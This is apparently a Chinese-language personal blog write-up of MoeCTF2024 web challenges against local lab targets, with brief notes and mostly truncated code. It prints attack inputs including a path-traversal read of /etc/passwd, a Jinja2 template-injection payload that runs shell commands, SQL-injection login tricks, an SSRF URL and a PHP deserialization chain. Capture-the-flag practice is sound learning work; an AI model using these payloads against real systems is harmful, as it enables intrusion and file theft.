MoeCTF2024
0x01 前言
赶紧来看看
0x02 question
ez_http
抓不到包,直接看吧
1 | http://127.0.0.1:57206/?xt=大帅b |
Web渗透测试与审计入门指北
直接搭建网站即可
弗拉格之地的入口
访问/robots.txt
垫刀之路01: MoeCTF?启动!
env
即可
Moectf 2024 Web 调查问卷
填写问卷就可以了
ProveYourLove
表白三百次
1 | import requests |
弗拉格之地的挑战
1 | <!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下--> |
抓包发现第二个界面
1 | HTTP/1.1 200 OK |
发包得到第三段
1 | POST /flag3cad.php?a=1 HTTP/1.1 |
1 | flag3: yX3RoMXN |
然后加个这个才能过
1 | Referer:http://localhost:8080/flag3cad.php?a=1 |
查看源码
1 | var buttons = document.getElementById("scope").getElementsByTagName("button"); |
这里我们要添加一个按钮
1 | <div id="scope"> |
拿到
1 | 恭喜你!你已经知道,前端的一切都是可以更改的! |
然后POST一个
1 | content=I want flag |
1 | flag5: fSV90aDF |
1 |
|
看不到东西在哪里,奇怪,反斜杠引号绕过也不行,再试试直接大小写绕过了
1 | ?moe=FLAG |
1 | flag6: rZV9VX2t |
后面直接执行命令
1 | rbm93X1dlQn0= |
1 | bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0= |
解码即可
ImageCloud前置
直接用协议读取
垫刀之路02: 普通的文件上传
上传之后找了一下,最后在环境变量里面
垫刀之路03: 这是一个图床
和02没啥区别,难道我02就是非预期?
垫刀之路05: 登陆网站
先爆破了一下发现不行,然后弱密码欧克
1 | username='=' |
垫刀之路06: pop base mini moe
1 |
|
直接public
就行了
1 |
|
垫刀之路07: 泄漏的密码
访问/console
,然后RCE
1 | import os |
垫刀之路04: 一个文件浏览器
1 | http://127.0.0.1:61013/?path=../../../../etc/passwd |
任意文件读取了,直接读
1 | http://127.0.0.1:61013/?path=../../../../tmp/flag |
静态网页
使用bp爬取一下,然后在api接口里面发现这玩意
1 | HTTP/1.1 200 OK |
1 |
|
想了一下就是要md5之后还是0e开头,下面再传0就可以了
1 | QNKCDZO |
1 | ?a=QNKCDZO |
电院_Backend
1 |
|
这么一看感觉像是sql注入
1 | SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'; |
回到题目进行测试,拿到路由/admin/
,由于有格式的检测所以只能这么写
不能有or而且要求了格式是基本的邮箱,还要维持一个等于
1 | mysql> select '2@1.1'; |
pop moe
1 |
|
个人感觉挺绕的,我如果打eval
那条链子只能打个phpinfo
如果是set那条的话可能能getshell
1 | class002::dangerous->class003::evvval |
不过并没有我想的那样,这里直接断了,所以应该还是只有一条链子
1 | class000::destruct->class001::invoke->class002::set->class002::dangerous->class003::evvval |
这样子就完整了,写个poc
1 |
|
勇闯铜人阵
这道题还是一个脚本题,挺有意思的
1 | import requests |
自己写的发现有点问题,和AI一起调整
Re: 从零开始的 XDU 教书生活
你教书为什么要我AES加密服了
抄的一个师傅的脚本,我模块都没有所以flag也没有
1 | import requests |
who’s blog?
发现可以SSTI
1 | ?id={{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('env').read()}} |
ImageCloud
有张flag图片,但是里面好像也没有藏什么东西
app.py
1 | from flask import Flask, request, send_file, abort, redirect, url_for |
app2.py
1 | from flask import Flask, request, send_file, abort, redirect, url_for |
这两东西感觉没啥太大差别啊,不过这端口肯定是要扫描一下的,并且看个大概也知道,就是在扫描看看有没有文件,刚刚有个flag.jpg
本来是想着本地来直接看着打,结果一直跑脚本跑不出来
1 | import requests |
后面知道说是不用开本地服务,不然靶机有啥用(说的也是)。用bp爆破一下就可以了
1 | /image?url=http://localhost:5133/image/flag.jpg |
PetStore
pickle反序列化,不会也,但是这个可以等后面会了来
smbms
貌似是一个Java的sql,不会
0x03 小结
说实话有些东西,还是没接触过,特别是铜人那个脚本,自己代码能力还是不行,感觉更加动手,平台很流程好用
- Title: MoeCTF2024
- Author: baozongwi
- Created at : 2024-10-05 18:46:20
- Updated at : 2024-10-05 19:19:39
- Link: https://baozongwi.xyz/2024/10/05/MoeCTF2024/
- License: This work is licensed under CC BY-NC-SA 4.0.